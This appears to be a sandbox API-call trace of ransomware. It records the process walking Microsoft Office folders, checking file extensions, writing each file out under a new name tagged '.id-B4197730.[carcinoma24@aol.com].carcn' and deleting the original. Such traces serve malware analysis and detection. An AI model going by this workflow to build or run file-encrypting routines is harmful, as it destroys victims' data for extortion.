[0273.550] lstrlenW (lpString=".docx") returned 5 [0273.550] lstrcmpiW (lpString1=".docx", lpString2="2.MID") returned -1 [0273.550] lstrlenW (lpString=".pdf") returned 4 [0273.550] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0273.550] lstrlenW (lpString=".xls") returned 4 [0273.550] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0273.550] lstrlenW (lpString=".xlsx") returned 5 [0273.550] lstrcmpiW (lpString1=".xlsx", lpString2="2.MID") returned -1 [0273.550] lstrlenW (lpString=".ppt") returned 4 [0273.550] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0273.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 68 [0273.550] lstrlenW (lpString=".zip") returned 4 [0273.550] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0273.550] lstrlenW (lpString=".rar") returned 4 [0273.550] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0273.550] lstrlenW (lpString=".bz2") returned 4 [0273.550] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0273.550] lstrlenW (lpString=".7z") returned 3 [0273.550] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0273.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 68 [0273.550] lstrlenW (lpString=".dbf") returned 4 [0273.551] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0273.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 68 [0273.551] lstrlenW (lpString=".1cd") returned 4 [0273.551] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0273.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 68 [0273.551] lstrlenW (lpString=".jpg") returned 4 [0273.551] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0273.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 68 [0273.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 68 [0273.551] lstrlenW (lpString=".doc") returned 4 [0273.551] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0273.551] lstrlenW (lpString=".docx") returned 5 [0273.551] lstrcmpiW (lpString1=".docx", lpString2="2.MID") returned -1 [0273.551] lstrlenW (lpString=".pdf") returned 4 [0273.551] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0273.551] lstrlenW (lpString=".xls") returned 4 [0273.551] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0273.551] lstrlenW (lpString=".xlsx") returned 5 [0273.551] lstrcmpiW (lpString1=".xlsx", lpString2="2.MID") returned -1 [0273.551] lstrlenW (lpString=".ppt") returned 4 [0273.551] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0273.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 68 [0273.552] lstrlenW (lpString=".zip") returned 4 [0273.552] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0273.552] lstrlenW (lpString=".rar") returned 4 [0273.552] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0273.552] lstrlenW (lpString=".bz2") returned 4 [0273.552] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0273.552] lstrlenW (lpString=".7z") returned 3 [0273.552] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0273.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 68 [0273.552] lstrlenW (lpString=".dbf") returned 4 [0273.552] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0273.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 68 [0273.552] lstrlenW (lpString=".1cd") returned 4 [0273.552] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0273.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 68 [0273.552] lstrlenW (lpString=".jpg") returned 4 [0273.552] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0273.553] lstrcmpiW (lpString1=".MID", lpString2=".carcn") returned 1 [0273.553] lstrlenW (lpString="SPACE_01.MID") returned 12 [0273.553] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\space_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0273.557] GetFileSizeEx (in: hFile=0x538, lpFileSize=0x3e3ff14 | out: lpFileSize=0x3e3ff14*=4219) returned 1 [0273.557] CloseHandle (hObject=0x538) returned 1 [0273.557] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\space_01.mid")) returned 0x220 [0273.557] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\space_01.mid.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0273.557] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\space_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0273.558] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.558] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.558] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\space_01.mid.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0273.559] GetLastError () returned 0x0 [0273.559] ReadFile (in: hFile=0x538, lpBuffer=0x46b9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46b9020*, lpNumberOfBytesRead=0x3e3fecc*=0x107b, lpOverlapped=0x0) returned 1 [0273.646] WriteFile (in: hFile=0x554, lpBuffer=0x46b9020*, nNumberOfBytesToWrite=0x1080, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x46b9020*, lpNumberOfBytesWritten=0x3e3fc94*=0x1080, lpOverlapped=0x0) returned 1 [0273.647] ReadFile (in: hFile=0x538, lpBuffer=0x46b9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46b9020*, lpNumberOfBytesRead=0x3e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0273.648] WriteFile (in: hFile=0x554, lpBuffer=0x46b9020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x46b9020*, lpNumberOfBytesWritten=0x3e3fc94*=0xec, lpOverlapped=0x0) returned 1 [0273.648] SetEndOfFile (hFile=0x554) returned 1 [0274.092] CloseHandle (hObject=0x554) returned 1 [0274.093] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.093] SetEndOfFile (hFile=0x538) returned 1 [0274.111] CloseHandle (hObject=0x538) returned 1 [0274.111] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0274.111] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\space_01.mid")) returned 1 [0274.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 68 [0274.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 68 [0274.126] lstrlenW (lpString=".doc") returned 4 [0274.126] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0274.126] lstrlenW (lpString=".docx") returned 5 [0274.126] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0274.126] lstrlenW (lpString=".pdf") returned 4 [0274.126] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0274.127] lstrlenW (lpString=".xls") returned 4 [0274.127] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0274.127] lstrlenW (lpString=".xlsx") returned 5 [0274.127] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0274.127] lstrlenW (lpString=".ppt") returned 4 [0274.127] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0274.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 68 [0274.127] lstrlenW (lpString=".zip") returned 4 [0274.127] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0274.127] lstrlenW (lpString=".rar") returned 4 [0274.127] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0274.127] lstrlenW (lpString=".bz2") returned 4 [0274.127] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0274.127] lstrlenW (lpString=".7z") returned 3 [0274.127] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0274.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 68 [0274.127] lstrlenW (lpString=".dbf") returned 4 [0274.127] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0274.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 68 [0274.127] lstrlenW (lpString=".1cd") returned 4 [0274.127] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0274.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 68 [0274.127] lstrlenW (lpString=".jpg") returned 4 [0274.127] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0274.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 68 [0274.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 68 [0274.128] lstrlenW (lpString=".doc") returned 4 [0274.128] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0274.128] lstrlenW (lpString=".docx") returned 5 [0274.128] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0274.128] lstrlenW (lpString=".pdf") returned 4 [0274.128] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0274.128] lstrlenW (lpString=".xls") returned 4 [0274.128] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0274.128] lstrlenW (lpString=".xlsx") returned 5 [0274.128] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0274.128] lstrlenW (lpString=".ppt") returned 4 [0274.128] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0274.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 68 [0274.128] lstrlenW (lpString=".zip") returned 4 [0274.128] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0274.128] lstrlenW (lpString=".rar") returned 4 [0274.128] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0274.128] lstrlenW (lpString=".bz2") returned 4 [0274.128] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0274.128] lstrlenW (lpString=".7z") returned 3 [0274.129] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0274.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 68 [0274.129] lstrlenW (lpString=".dbf") returned 4 [0274.129] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0274.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 68 [0274.129] lstrlenW (lpString=".1cd") returned 4 [0274.129] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0274.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 68 [0274.129] lstrlenW (lpString=".jpg") returned 4 [0274.129] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0274.129] lstrcmpiW (lpString1=".MID", lpString2=".carcn") returned 1 [0274.129] lstrlenW (lpString="WNTER_01.MID") returned 12 [0274.129] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wnter_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0274.131] GetFileSizeEx (in: hFile=0x538, lpFileSize=0x3e3ff14 | out: lpFileSize=0x3e3ff14*=6915) returned 1 [0274.132] CloseHandle (hObject=0x538) returned 1 [0274.132] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wnter_01.mid")) returned 0x220 [0274.132] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wnter_01.mid.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0274.132] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wnter_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0274.133] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.133] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.133] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wnter_01.mid.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0274.134] GetLastError () returned 0x0 [0274.134] ReadFile (in: hFile=0x538, lpBuffer=0x46b9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46b9020*, lpNumberOfBytesRead=0x3e3fecc*=0x1b03, lpOverlapped=0x0) returned 1 [0275.759] WriteFile (in: hFile=0x554, lpBuffer=0x46b9020*, nNumberOfBytesToWrite=0x1b10, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x46b9020*, lpNumberOfBytesWritten=0x3e3fc94*=0x1b10, lpOverlapped=0x0) returned 1 [0275.760] ReadFile (in: hFile=0x538, lpBuffer=0x46b9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46b9020*, lpNumberOfBytesRead=0x3e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0275.760] WriteFile (in: hFile=0x554, lpBuffer=0x46b9020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x46b9020*, lpNumberOfBytesWritten=0x3e3fc94*=0xec, lpOverlapped=0x0) returned 1 [0275.760] SetEndOfFile (hFile=0x554) returned 1 [0275.760] CloseHandle (hObject=0x554) returned 1 [0275.760] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.761] SetEndOfFile (hFile=0x538) returned 1 [0275.763] CloseHandle (hObject=0x538) returned 1 [0275.763] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0275.763] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wnter_01.mid")) returned 1 [0275.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 68 [0275.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 68 [0275.764] lstrlenW (lpString=".doc") returned 4 [0275.764] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0275.764] lstrlenW (lpString=".docx") returned 5 [0275.764] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0275.764] lstrlenW (lpString=".pdf") returned 4 [0275.764] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0275.764] lstrlenW (lpString=".xls") returned 4 [0275.765] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0275.765] lstrlenW (lpString=".xlsx") returned 5 [0275.765] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0275.765] lstrlenW (lpString=".ppt") returned 4 [0275.765] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0275.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 68 [0275.765] lstrlenW (lpString=".zip") returned 4 [0275.765] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0275.765] lstrlenW (lpString=".rar") returned 4 [0275.765] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0275.765] lstrlenW (lpString=".bz2") returned 4 [0275.765] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0275.765] lstrlenW (lpString=".7z") returned 3 [0275.765] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0275.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 68 [0275.765] lstrlenW (lpString=".dbf") returned 4 [0275.765] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0275.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 68 [0275.765] lstrlenW (lpString=".1cd") returned 4 [0275.765] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0275.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 68 [0275.765] lstrlenW (lpString=".jpg") returned 4 [0275.765] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0275.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 68 [0275.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 68 [0275.766] lstrlenW (lpString=".doc") returned 4 [0275.766] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0275.766] lstrlenW (lpString=".docx") returned 5 [0275.766] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0275.766] lstrlenW (lpString=".pdf") returned 4 [0275.766] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0275.766] lstrlenW (lpString=".xls") returned 4 [0275.766] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0275.766] lstrlenW (lpString=".xlsx") returned 5 [0275.766] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0275.766] lstrlenW (lpString=".ppt") returned 4 [0275.766] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0275.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 68 [0275.766] lstrlenW (lpString=".zip") returned 4 [0275.766] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0275.766] lstrlenW (lpString=".rar") returned 4 [0275.766] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0275.766] lstrlenW (lpString=".bz2") returned 4 [0275.766] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0275.766] lstrlenW (lpString=".7z") returned 3 [0275.766] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0275.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 68 [0275.766] lstrlenW (lpString=".dbf") returned 4 [0275.766] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0275.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 68 [0275.766] lstrlenW (lpString=".1cd") returned 4 [0275.767] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0275.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 68 [0275.767] lstrlenW (lpString=".jpg") returned 4 [0275.767] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0275.767] lstrcmpiW (lpString1=".eftx", lpString2=".carcn") returned 1 [0275.767] lstrlenW (lpString="Banded Edge.eftx") returned 16 [0275.767] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\banded edge.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0275.771] GetFileSizeEx (in: hFile=0x538, lpFileSize=0x3e3ff14 | out: lpFileSize=0x3e3ff14*=47851) returned 1 [0275.771] CloseHandle (hObject=0x538) returned 1 [0275.771] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\banded edge.eftx")) returned 0x220 [0275.771] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\banded edge.eftx.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0275.771] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\banded edge.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0275.771] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.771] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.772] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\banded edge.eftx.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0275.781] GetLastError () returned 0x0 [0275.781] ReadFile (in: hFile=0x538, lpBuffer=0x46b9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46b9020*, lpNumberOfBytesRead=0x3e3fecc*=0xbaeb, lpOverlapped=0x0) returned 1 [0275.882] WriteFile (in: hFile=0x4bc, lpBuffer=0x46b9020*, nNumberOfBytesToWrite=0xbaf0, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x46b9020*, lpNumberOfBytesWritten=0x3e3fc94*=0xbaf0, lpOverlapped=0x0) returned 1 [0275.884] ReadFile (in: hFile=0x538, lpBuffer=0x46b9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46b9020*, lpNumberOfBytesRead=0x3e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0275.884] WriteFile (in: hFile=0x4bc, lpBuffer=0x46b9020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x46b9020*, lpNumberOfBytesWritten=0x3e3fc94*=0xf4, lpOverlapped=0x0) returned 1 [0275.885] SetEndOfFile (hFile=0x4bc) returned 1 [0275.930] CloseHandle (hObject=0x4bc) returned 1 [0275.930] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.930] SetEndOfFile (hFile=0x538) returned 1 [0275.933] CloseHandle (hObject=0x538) returned 1 [0275.933] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0275.934] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\banded edge.eftx")) returned 1 [0275.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx") returned 88 [0275.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx") returned 88 [0275.934] lstrlenW (lpString=".doc") returned 4 [0275.934] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0275.934] lstrlenW (lpString=".docx") returned 5 [0275.935] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0275.935] lstrlenW (lpString=".pdf") returned 4 [0275.935] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0275.935] lstrlenW (lpString=".xls") returned 4 [0275.935] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0275.935] lstrlenW (lpString=".xlsx") returned 5 [0275.935] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 